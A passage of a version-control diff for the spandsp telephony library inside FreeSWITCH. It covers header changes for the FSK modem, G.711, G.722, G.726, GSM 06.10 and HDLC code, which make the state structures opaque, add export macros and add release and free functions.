+SPAN_DECLARE(fax_modems_state_t *) fax_modems_init(fax_modems_state_t *s,
+                                                   int use_tep,
+                                                   hdlc_frame_handler_t hdlc_accept,
+                                                   hdlc_underflow_handler_t hdlc_tx_underflow,
+                                                   put_bit_func_t non_ecm_put_bit,
+                                                   get_bit_func_t non_ecm_get_bit,
+                                                   tone_report_func_t tone_callback,
+                                                   void *user_data);
+
+SPAN_DECLARE(int) fax_modems_release(fax_modems_state_t *s);
+
+SPAN_DECLARE(int) fax_modems_free(fax_modems_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/fsk.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/fsk.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/fsk.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fsk.h,v 1.31 2008/09/04 14:40:05 steveu Exp $
+ * $Id: fsk.h,v 1.40 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
@@ -111,37 +111,18 @@
     FSK_BELL103CH1,
     FSK_BELL103CH2,
     FSK_BELL202,
-    FSK_WEITBRECHT      /* Used for TDD (Telecom Device for the Deaf) */
+    FSK_WEITBRECHT,     /* 45.45 baud version, used for TDD (Telecom Device for the Deaf) */
+    FSK_WEITBRECHT50    /* 50 baud version, used for TDD (Telecom Device for the Deaf) */
 };
 
-extern const fsk_spec_t preset_fsk_specs[];
+SPAN_DECLARE_DATA extern const fsk_spec_t preset_fsk_specs[];
 
 /*!
     FSK modem transmit descriptor. This defines the state of a single working
     instance of an FSK modem transmitter.
 */
-typedef struct
-{
-    int baud_rate;
-    /*! \brief The callback function used to get the next bit to be transmitted. */
-    get_bit_func_t get_bit;
-    /*! \brief A user specified opaque pointer passed to the get_bit function. */
-    void *get_bit_user_data;
+typedef struct fsk_tx_state_s fsk_tx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    int32_t phase_rates[2];
-    int scaling;
-    int32_t current_phase_rate;
-    uint32_t phase_acc;
-    int baud_frac;
-    int baud_inc;
-    int shutdown;
-} fsk_tx_state_t;
-
 /* The longest window will probably be 106 for 75 baud */
 #define FSK_MAX_WINDOW_LEN 128
 
@@ -149,43 +130,8 @@
     FSK modem receive descriptor. This defines the state of a single working
     instance of an FSK modem receiver.
 */
-typedef struct
-{
-    int baud_rate;
-    int sync_mode;
-    /*! \brief The callback function used to put each bit received. */
-    put_bit_func_t put_bit;
-    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
-    void *put_bit_user_data;
+typedef struct fsk_rx_state_s fsk_rx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    int32_t carrier_on_power;
-    int32_t carrier_off_power;
-    power_meter_t power;
-    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
-    int16_t last_sample;
-    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.29 signal. */
-    int signal_present;
-
-    int32_t phase_rate[2];
-    uint32_t phase_acc[2];
-
-    int correlation_span;
-
-    complexi32_t window[2][FSK_MAX_WINDOW_LEN];
-    complexi32_t dot[2];
-    int buf_ptr;
-
-    int baud_inc;
-    int baud_pll;
-    int lastbit;
-    int scaling_shift;
-} fsk_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -198,25 +144,29 @@
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer.
     \return A pointer to the modem context, or NULL if there was a problem. */
-fsk_tx_state_t *fsk_tx_init(fsk_tx_state_t *s,
-                            const fsk_spec_t *spec,
-                            get_bit_func_t get_bit,
-                            void *user_data);
+SPAN_DECLARE(fsk_tx_state_t *) fsk_tx_init(fsk_tx_state_t *s,
+                                           const fsk_spec_t *spec,
+                                           get_bit_func_t get_bit,
+                                           void *user_data);
 
+SPAN_DECLARE(int) fsk_tx_release(fsk_tx_state_t *s);
+
+SPAN_DECLARE(int) fsk_tx_free(fsk_tx_state_t *s);
+
 /*! Adjust an FSK modem transmit context's power output.
     \brief Adjust an FSK modem transmit context's power output.
     \param s The modem context.
     \param power The power level, in dBm0 */
-void fsk_tx_power(fsk_tx_state_t *s, float power);
+SPAN_DECLARE(void) fsk_tx_power(fsk_tx_state_t *s, float power);
 
-void fsk_tx_set_get_bit(fsk_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(void) fsk_tx_set_get_bit(fsk_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
 
 /*! Change the modem status report function associated with an FSK modem transmit context.
     \brief Change the modem status report function associated with an FSK modem transmit context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void fsk_tx_set_modem_status_handler(fsk_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) fsk_tx_set_modem_status_handler(fsk_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
 
 /*! Generate a block of FSK modem audio samples.
     \brief Generate a block of FSK modem audio samples.
@@ -225,33 +175,38 @@
     \param len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int fsk_tx(fsk_tx_state_t *s, int16_t *amp, int len);
+SPAN_DECLARE_NONSTD(int) fsk_tx(fsk_tx_state_t *s, int16_t amp[], int len);
 
 /*! Get the current received signal power.
     \param s The modem context.
     \return The signal power, in dBm0. */
-float fsk_rx_signal_power(fsk_rx_state_t *s);
+SPAN_DECLARE(float) fsk_rx_signal_power(fsk_rx_state_t *s);
 
 /*! Adjust an FSK modem receive context's carrier detect power threshold.
     \brief Adjust an FSK modem receive context's carrier detect power threshold.
     \param s The modem context.
     \param cutoff The power level, in dBm0 */
-void fsk_rx_signal_cutoff(fsk_rx_state_t *s, float cutoff);
+SPAN_DECLARE(void) fsk_rx_signal_cutoff(fsk_rx_state_t *s, float cutoff);
 
 /*! Initialise an FSK modem receive context.
     \brief Initialise an FSK modem receive context.
     \param s The modem context.
     \param spec The specification of the modem tones and rate.
-    \param sync_mode TRUE for synchronous modem. FALSE for asynchronous mode.
+    \param framing_mode 0 for fully asynchronous mode. 1 for synchronous mode. >1 for
+           this many bits per asynchronous character frame.
     \param put_bit The callback routine used to put the received data.
     \param user_data An opaque pointer.
     \return A pointer to the modem context, or NULL if there was a problem. */
-fsk_rx_state_t *fsk_rx_init(fsk_rx_state_t *s,
-                            const fsk_spec_t *spec,
-                            int sync_mode,
-                            put_bit_func_t put_bit,
-                            void *user_data);
+SPAN_DECLARE(fsk_rx_state_t *) fsk_rx_init(fsk_rx_state_t *s,
+                                           const fsk_spec_t *spec,
+                                           int framing_mode,
+                                           put_bit_func_t put_bit,
+                                           void *user_data);
 
+SPAN_DECLARE(int) fsk_rx_release(fsk_rx_state_t *s);
+
+SPAN_DECLARE(int) fsk_rx_free(fsk_rx_state_t *s);
+
 /*! Process a block of received FSK modem audio samples.
     \brief Process a block of received FSK modem audio samples.
     \param s The modem context.
@@ -259,16 +214,25 @@
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed.
 */
-int fsk_rx(fsk_rx_state_t *s, const int16_t *amp, int len);
+SPAN_DECLARE_NONSTD(int) fsk_rx(fsk_rx_state_t *s, const int16_t *amp, int len);
 
-void fsk_rx_set_put_bit(fsk_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
+/*! Fake processing of a missing block of received FSK modem audio samples
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received FSK modem audio samples.
+    \param s The modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed.
+*/
+SPAN_DECLARE(int) fsk_rx_fillin(fsk_rx_state_t *s, int len);
 
+SPAN_DECLARE(void) fsk_rx_set_put_bit(fsk_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
+
 /*! Change the modem status report function associated with an FSK modem receive context.
     \brief Change the modem status report function associated with an FSK modem receive context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void fsk_rx_set_modem_status_handler(fsk_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) fsk_rx_set_modem_status_handler(fsk_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/g711.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/g711.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/g711.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g711.h,v 1.14 2008/05/02 17:57:32 steveu Exp $
+ * $Id: g711.h,v 1.19 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -53,7 +53,9 @@
 #define _SPANDSP_G711_H_
 
 /* The usual values to use on idle channels, to emulate silence */
+/*! Idle value for A-law channels */
 #define G711_ALAW_IDLE_OCTET        0x5D
+/*! Idle value for u-law channels */
 #define G711_ULAW_IDLE_OCTET        0xFF
 
 enum
@@ -62,11 +64,10 @@
     G711_ULAW
 };
 
-typedef struct
-{
-    /*! One of the G.711_xxx options */
-    int mode;
-} g711_state_t;
+/*!
+    G.711 state
+ */
+typedef struct g711_state_s g711_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -110,8 +111,10 @@
  * John Wiley & Sons, pps 98-111 and 472-476.
  */
 
-//#define ULAW_ZEROTRAP                 /* turn on the trap as per the MIL-STD */
-#define ULAW_BIAS        0x84           /* Bias for linear code. */
+/* Enable the trap as per the MIL-STD */
+//#define ULAW_ZEROTRAP
+/*! Bias for u-law encoding from linear. */
+#define ULAW_BIAS        0x84
 
 /*! \brief Encode a linear sample to u-law
     \param linear The sample to encode.
@@ -191,6 +194,7 @@
  * John Wiley & Sons, pps 98-111 and 472-476.
  */
 
+/*! The A-law alternate mark inversion mask */
 #define ALAW_AMI_MASK       0x55
 
 /*! \brief Encode a linear sample to A-law
@@ -255,39 +259,65 @@
     \param alaw The A-law sample to transcode.
     \return The best matching u-law value.
 */
-uint8_t alaw_to_ulaw(uint8_t alaw);
+SPAN_DECLARE(uint8_t) alaw_to_ulaw(uint8_t alaw);
 
 /*! \brief Transcode from u-law to A-law, using the procedure defined in G.711.
     \param ulaw The u-law sample to transcode.
     \return The best matching A-law value.
 */
-uint8_t ulaw_to_alaw(uint8_t ulaw);
+SPAN_DECLARE(uint8_t) ulaw_to_alaw(uint8_t ulaw);
 
-int g711_decode(g711_state_t *s,
-                int16_t amp[],
-                const uint8_t g711_data[],
-                int g711_bytes);
+/*! \brief Decode from u-law or A-law to linear.
+    \param s The G.711 context.
+    \param amp The linear audio buffer.
+    \param g711_data The G.711 data.
+    \param g711_bytes The number of G.711 samples to decode.
+    \return The number of samples of linear audio produced.
+*/
+SPAN_DECLARE(int) g711_decode(g711_state_t *s,
+                              int16_t amp[],
+                              const uint8_t g711_data[],
+                              int g711_bytes);
 
-int g711_encode(g711_state_t *s,
-                uint8_t g711_data[],
-                const int16_t amp[],
-                int len);
+/*! \brief Encode from linear to u-law or A-law.
+    \param s The G.711 context.
+    \param g711_data The G.711 data.
+    \param amp The linear audio buffer.
+    \param len The number of samples to encode.
+    \return The number of G.711 samples produced.
+*/
+SPAN_DECLARE(int) g711_encode(g711_state_t *s,
+                              uint8_t g711_data[],
+                              const int16_t amp[],
+                              int len);
 
-int g711_transcode(g711_state_t *s,
-                   uint8_t g711_out[],
-                   const uint8_t g711_in[],
-                   int g711_bytes);
+/*! \brief Transcode between u-law and A-law.
+    \param s The G.711 context.
+    \param g711_out The resulting G.711 data.
+    \param g711_in The original G.711 data.
+    \param g711_bytes The number of G.711 samples to transcode.
+    \return The number of G.711 samples produced.
+*/
+SPAN_DECLARE(int) g711_transcode(g711_state_t *s,
+                                 uint8_t g711_out[],
+                                 const uint8_t g711_in[],
+                                 int g711_bytes);
 
 /*! Initialise a G.711 encode or decode context.
     \param s The G.711 context.
     \param mode The G.711 mode.
     \return A pointer to the G.711 context, or NULL for error. */
-g711_state_t *g711_init(g711_state_t *s, int mode);
+SPAN_DECLARE(g711_state_t *) g711_init(g711_state_t *s, int mode);
 
+/*! Release a G.711 encode or decode context.
+    \param s The G.711 context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g711_release(g711_state_t *s);
+
 /*! Free a G.711 encode or decode context.
     \param s The G.711 context.
     \return 0 for OK. */
-int g711_release(g711_state_t *s);
+SPAN_DECLARE(int) g711_free(g711_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/g722.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/g722.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/g722.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -28,7 +28,7 @@
  * Computer Science, Speech Group
  * Chengxiang Lu and Alex Hauptmann
  *
- * $Id: g722.h,v 1.21 2008/09/19 16:24:25 steveu Exp $
+ * $Id: g722.h,v 1.26 2009/04/12 09:12:10 steveu Exp $
  */
 
 
@@ -56,70 +56,16 @@
     G722_PACKED = 0x0002
 };
 
-/*! The per band parameters for both encoding and decoding G.722 */
-typedef struct
-{
-    int16_t nb;
-    int16_t det;
-    int16_t s;
-    int16_t sz;
-    int16_t r;
-    int16_t p[2];
-    int16_t a[2];
-    int16_t b[6];
-    int16_t d[7];
-} g722_band_t;
+/*!
+    G.722 encode state
+ */
+typedef struct g722_encode_state_s g722_encode_state_t;
 
-typedef struct
-{
-    /*! TRUE if the operating in the special ITU test mode, with the band split filters
-             disabled. */
-    int itu_test_mode;
-    /*! TRUE if the G.722 data is packed */
-    int packed;
-    /*! TRUE if encode from 8k samples/second */
-    int eight_k;
-    /*! 6 for 48000kbps, 7 for 56000kbps, or 8 for 64000kbps. */
-    int bits_per_sample;
+/*!
+    G.722 decode state
+ */
+typedef struct g722_decode_state_s g722_decode_state_t;
 
-    /*! Signal history for the QMF */
-    int16_t x[12];
-    int16_t y[12];
-    int ptr;
-
-    g722_band_t band[2];
-
-    uint32_t in_buffer;
-    int in_bits;
-    uint32_t out_buffer;
-    int out_bits;
-} g722_encode_state_t;
-
-typedef struct
-{
-    /*! TRUE if the operating in the special ITU test mode, with the band split filters
-             disabled. */
-    int itu_test_mode;
-    /*! TRUE if the G.722 data is packed */
-    int packed;
-    /*! TRUE if decode to 8k samples/second */
-    int eight_k;
-    /*! 6 for 48000kbps, 7 for 56000kbps, or 8 for 64000kbps. */
-    int bits_per_sample;
-
-    /*! Signal history for the QMF */
-    int16_t x[12];
-    int16_t y[12];
-    int ptr;
-
-    g722_band_t band[2];
-    
-    uint32_t in_buffer;
-    int in_bits;
-    uint32_t out_buffer;
-    int out_bits;
-} g722_decode_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -131,17 +77,25 @@
            The valid rates are 64000, 56000 and 48000.
     \param options
     \return A pointer to the G.722 encode context, or NULL for error. */
-g722_encode_state_t *g722_encode_init(g722_encode_state_t *s, int rate, int options);
+SPAN_DECLARE(g722_encode_state_t *) g722_encode_init(g722_encode_state_t *s, int rate, int options);
 
-int g722_encode_release(g722_encode_state_t *s);
+/*! Release a G.722 encode context.
+    \param s The G.722 encode context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g722_encode_release(g722_encode_state_t *s);
 
+/*! Free a G.722 encode context.
+    \param s The G.722 encode context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g722_encode_free(g722_encode_state_t *s);
+
 /*! Encode a buffer of linear PCM data to G.722
     \param s The G.722 context.
     \param g722_data The G.722 data produced.
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of bytes of G.722 data produced. */
-int g722_encode(g722_encode_state_t *s, uint8_t g722_data[], const int16_t amp[], int len);
+SPAN_DECLARE(int) g722_encode(g722_encode_state_t *s, uint8_t g722_data[], const int16_t amp[], int len);
 
 /*! Initialise an G.722 decode context.
     \param s The G.722 decode context.
@@ -149,17 +103,25 @@
            The valid rates are 64000, 56000 and 48000.
     \param options
     \return A pointer to the G.722 decode context, or NULL for error. */
-g722_decode_state_t *g722_decode_init(g722_decode_state_t *s, int rate, int options);
+SPAN_DECLARE(g722_decode_state_t *) g722_decode_init(g722_decode_state_t *s, int rate, int options);
 
-int g722_decode_release(g722_decode_state_t *s);
+/*! Release a G.722 decode context.
+    \param s The G.722 decode context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g722_decode_release(g722_decode_state_t *s);
 
+/*! Free a G.722 decode context.
+    \param s The G.722 decode context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g722_decode_free(g722_decode_state_t *s);
+
 /*! Decode a buffer of G.722 data to linear PCM.
     \param s The G.722 context.
     \param amp The audio sample buffer.
     \param g722_data
     \param len
     \return The number of samples returned. */
-int g722_decode(g722_decode_state_t *s, int16_t amp[], const uint8_t g722_data[], int len);
+SPAN_DECLARE(int) g722_decode(g722_decode_state_t *s, int16_t amp[], const uint8_t g722_data[], int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/g726.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/g726.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/g726.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g726.h,v 1.21 2008/04/17 14:27:00 steveu Exp $
+ * $Id: g726.h,v 1.26 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -59,66 +59,14 @@
     G726_PACKING_RIGHT = 2
 };
 
-struct g726_state_s;
-
-typedef int16_t (*g726_decoder_func_t)(struct g726_state_s *s, uint8_t code);
-
-typedef uint8_t (*g726_encoder_func_t)(struct g726_state_s *s, int16_t amp);
-
 /*!
- * The following is the definition of the state structure
- * used by the G.726 encoder and decoder to preserve their internal
- * state between successive calls.  The meanings of the majority
- * of the state structure fields are explained in detail in the
- * CCITT Recommendation G.721.  The field names are essentially indentical
- * to variable names in the bit level description of the coding algorithm
- * included in this Recommendation.
+    G.726 state
  */
-typedef struct g726_state_s
-{
-    /*! The bit rate */
-    int rate;
-    /*! The external coding, for tandem operation */
-    int ext_coding;
-    /*! The number of bits per sample */
-    unsigned int bits_per_sample;
-    /*! One of the G.726_PACKING_xxx options */
-    int packing;
+typedef struct g726_state_s g726_state_t;
 
-    /*! Locked or steady state step size multiplier. */
-    int32_t yl;
-    /*! Unlocked or non-steady state step size multiplier. */
-    int16_t yu;
-    /*! int16_t term energy estimate. */
-    int16_t dms;
-    /*! Long term energy estimate. */
-    int16_t dml;
-    /*! Linear weighting coefficient of 'yl' and 'yu'. */
-    int16_t ap;
-    
-    /*! Coefficients of pole portion of prediction filter. */
-    int16_t a[2];
-    /*! Coefficients of zero portion of prediction filter. */
-    int16_t b[6];
-    /*! Signs of previous two samples of a partially reconstructed signal. */
-    int16_t pk[2];
-    /*! Previous 6 samples of the quantized difference signal represented in
-        an internal floating point format. */
-    int16_t dq[6];
-    /*! Previous 2 samples of the quantized difference signal represented in an
-        internal floating point format. */
-    int16_t sr[2];
-    /*! Delayed tone detect */
-    int td;
-    
-    /*! \brief The bit stream processing context. */
-    bitstream_state_t bs;
+typedef int16_t (*g726_decoder_func_t)(g726_state_t *s, uint8_t code);
 
-    /*! \brief The current encoder function. */
-    g726_encoder_func_t enc_func;
-    /*! \brief The current decoder function. */
-    g726_decoder_func_t dec_func;
-} g726_state_t;
+typedef uint8_t (*g726_encoder_func_t)(g726_state_t *s, int16_t amp);
 
 #if defined(__cplusplus)
 extern "C"
@@ -132,12 +80,17 @@
     \param ext_coding The coding used outside G.726.
     \param packing One of the G.726_PACKING_xxx options.
     \return A pointer to the G.726 context, or NULL for error. */
-g726_state_t *g726_init(g726_state_t *s, int bit_rate, int ext_coding, int packing);
+SPAN_DECLARE(g726_state_t *) g726_init(g726_state_t *s, int bit_rate, int ext_coding, int packing);
 
+/*! Release a G.726 encode or decode context.
+    \param s The G.726 context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) g726_release(g726_state_t *s);
+
 /*! Free a G.726 encode or decode context.
     \param s The G.726 context.
     \return 0 for OK. */
-int g726_release(g726_state_t *s);
+SPAN_DECLARE(int) g726_free(g726_state_t *s);
 
 /*! Decode a buffer of G.726 ADPCM data to linear PCM, a-law or u-law.
     \param s The G.726 context.
@@ -145,10 +98,10 @@
     \param g726_data
     \param g726_bytes
     \return The number of samples returned. */
-int g726_decode(g726_state_t *s,
-                int16_t amp[],
-                const uint8_t g726_data[],
-                int g726_bytes);
+SPAN_DECLARE(int) g726_decode(g726_state_t *s,
+                              int16_t amp[],
+                              const uint8_t g726_data[],
+                              int g726_bytes);
 
 /*! Encode a buffer of linear PCM data to G.726 ADPCM.
     \param s The G.726 context.
@@ -156,10 +109,10 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of bytes of G.726 data produced. */
-int g726_encode(g726_state_t *s,
-                uint8_t g726_data[],
-                const int16_t amp[],
-                int len);
+SPAN_DECLARE(int) g726_encode(g726_state_t *s,
+                              uint8_t g726_data[],
+                              const int16_t amp[],
+                              int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/gsm0610.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/gsm0610.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/gsm0610.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: gsm0610.h,v 1.17 2008/04/17 14:27:00 steveu Exp $
+ * $Id: gsm0610.h,v 1.21 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_GSM0610_H_)
@@ -72,35 +72,8 @@
     GSM 06.10 FR codec state descriptor. This defines the state of
     a single working instance of the GSM 06.10 FR encoder or decoder.
 */
-typedef struct
-{
-    /*! \brief One of the packing modes */
-    int packing;
+typedef struct gsm0610_state_s gsm0610_state_t;
 
-    int16_t dp0[280];
-
-    /*! Preprocessing */
-    int16_t z1;
-    int32_t L_z2;
-    /*! Pre-emphasis */
-    int16_t mp;
-
-    /*! Short term delay filter */
-    int16_t u[8];
-    int16_t LARpp[2][8];
-    int16_t j;
-
-    /*! Long term synthesis */
-    int16_t nrp;
-    /*! Short term synthesis */
-    int16_t v[9];
-    /*! Decoder postprocessing */
-    int16_t msr;
-    
-    /*! Encoder data */
-    int16_t e[50];
-} gsm0610_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -110,18 +83,23 @@
     \param s The GSM 06.10 context
     \param packing One of the GSM0610_PACKING_xxx options.
     \return A pointer to the GSM 06.10 context, or NULL for error. */
-gsm0610_state_t *gsm0610_init(gsm0610_state_t *s, int packing);
+SPAN_DECLARE(gsm0610_state_t *) gsm0610_init(gsm0610_state_t *s, int packing);
 
 /*! Release a GSM 06.10 encode or decode context.
     \param s The GSM 06.10 context
     \return 0 for success, else -1. */
-int gsm0610_release(gsm0610_state_t *s);
+SPAN_DECLARE(int) gsm0610_release(gsm0610_state_t *s);
 
+/*! Free a GSM 06.10 encode or decode context.
+    \param s The GSM 06.10 context
+    \return 0 for success, else -1. */
+SPAN_DECLARE(int) gsm0610_free(gsm0610_state_t *s);
+
 /*! Set the packing format for a GSM 06.10 encode or decode context.
     \param s The GSM 06.10 context
     \param packing One of the GSM0610_PACKING_xxx options.
     \return 0 for success, else -1. */
-int gsm0610_set_packing(gsm0610_state_t *s, int packing);
+SPAN_DECLARE(int) gsm0610_set_packing(gsm0610_state_t *s, int packing);
 
 /*! Encode a buffer of linear PCM data to GSM 06.10.
     \param s The GSM 06.10 context.
@@ -129,7 +107,7 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of bytes of GSM 06.10 data produced. */
-int gsm0610_encode(gsm0610_state_t *s, uint8_t code[], const int16_t amp[], int len);
+SPAN_DECLARE(int) gsm0610_encode(gsm0610_state_t *s, uint8_t code[], const int16_t amp[], int len);
 
 /*! Decode a buffer of GSM 06.10 data to linear PCM.
     \param s The GSM 06.10 context.
@@ -137,35 +115,35 @@
     \param code The GSM 06.10 data.
     \param len The number of bytes of GSM 06.10 data to be decoded.
     \return The number of samples returned. */
-int gsm0610_decode(gsm0610_state_t *s, int16_t amp[], const uint8_t code[], int len);
+SPAN_DECLARE(int) gsm0610_decode(gsm0610_state_t *s, int16_t amp[], const uint8_t code[], int len);
 
-int gsm0610_pack_none(uint8_t c[], const gsm0610_frame_t *s);
+SPAN_DECLARE(int) gsm0610_pack_none(uint8_t c[], const gsm0610_frame_t *s);
 
 /*! Pack a pair of GSM 06.10 frames in the format used for wave files (wave type 49).
     \param c The buffer for the packed data. This must be at least 65 bytes long.
     \param s A pointer to the frames to be packed.
     \return The number of bytes generated. */
-int gsm0610_pack_wav49(uint8_t c[], const gsm0610_frame_t *s);
+SPAN_DECLARE(int) gsm0610_pack_wav49(uint8_t c[], const gsm0610_frame_t *s);
 
 /*! Pack a GSM 06.10 frames in the format used for VoIP.
     \param c The buffer for the packed data. This must be at least 33 bytes long.
     \param s A pointer to the frame to be packed.
     \return The number of bytes generated. */
-int gsm0610_pack_voip(uint8_t c[], const gsm0610_frame_t *s);
+SPAN_DECLARE(int) gsm0610_pack_voip(uint8_t c[], const gsm0610_frame_t *s);
 
-int gsm0610_unpack_none(gsm0610_frame_t *s, const uint8_t c[]);
+SPAN_DECLARE(int) gsm0610_unpack_none(gsm0610_frame_t *s, const uint8_t c[]);
 
 /*! Unpack a pair of GSM 06.10 frames from the format used for wave files (wave type 49).
     \param s A pointer to a buffer into which the frames will be packed.
     \param c The buffer containing the data to be unpacked. This must be at least 65 bytes long.
     \return The number of bytes absorbed. */
-int gsm0610_unpack_wav49(gsm0610_frame_t *s, const uint8_t c[]);
+SPAN_DECLARE(int) gsm0610_unpack_wav49(gsm0610_frame_t *s, const uint8_t c[]);
 
 /*! Unpack a GSM 06.10 frame from the format used for VoIP.
     \param s A pointer to a buffer into which the frame will be packed.
     \param c The buffer containing the data to be unpacked. This must be at least 33 bytes long.
     \return The number of bytes absorbed. */
-int gsm0610_unpack_voip(gsm0610_frame_t *s, const uint8_t c[]);
+SPAN_DECLARE(int) gsm0610_unpack_voip(gsm0610_frame_t *s, const uint8_t c[]);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/hdlc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/hdlc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/hdlc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: hdlc.h,v 1.39 2008/04/17 14:27:00 steveu Exp $
+ * $Id: hdlc.h,v 1.45 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
@@ -53,57 +53,8 @@
 /*!
     HDLC receive descriptor. This contains all the state information for an HDLC receiver.
  */
-typedef struct
-{
-    /*! 2 for CRC-16, 4 for CRC-32 */
-    int crc_bytes;
-    /*! \brief Maximum permitted frame length. */
-    size_t max_frame_len;
-    /*! \brief The callback routine called to process each good received frame. */
-    hdlc_frame_handler_t frame_handler;
-    /*! \brief An opaque parameter passed to the callback routine. */
-    void *user_data;
-    /*! \brief TRUE if bad frames are to be reported. */
-    int report_bad_frames;
-    /*! \brief The number of consecutive flags which must be seen before framing is
-        declared OK. */
-    int framing_ok_threshold;
-    /*! \brief TRUE if framing OK has been announced. */
-    int framing_ok_announced;
-    /*! \brief Number of consecutive flags seen so far. */
-    int flags_seen;
+typedef struct hdlc_rx_state_s hdlc_rx_state_t;
 
-    /*! \brief The raw (stuffed) bit stream buffer. */
-    unsigned int raw_bit_stream;
-    /*! \brief The destuffed bit stream buffer. */
-    unsigned int byte_in_progress;
-    /*! \brief The current number of bits in byte_in_progress. */
-    int num_bits;
-    /*! \brief TRUE if in octet counting mode (e.g. for MTP). */
-    int octet_counting_mode;
-    /*! \brief Octet count, to achieve the functionality needed for things
-               like MTP. */
-    int octet_count;
-    /*! \brief The number of octets to be allowed between octet count reports. */
-    int octet_count_report_interval;
-
-    /*! \brief Buffer for a frame in progress. */
-    uint8_t buffer[HDLC_MAXFRAME_LEN + 4];
-    /*! \brief Length of a frame in progress. */
-    size_t len;
-
-    /*! \brief The number of bytes of good frames received (CRC not included). */
-    unsigned long int rx_bytes;
-    /*! \brief The number of good frames received. */
-    unsigned long int rx_frames;
-    /*! \brief The number of frames with CRC errors received. */
-    unsigned long int rx_crc_errors;
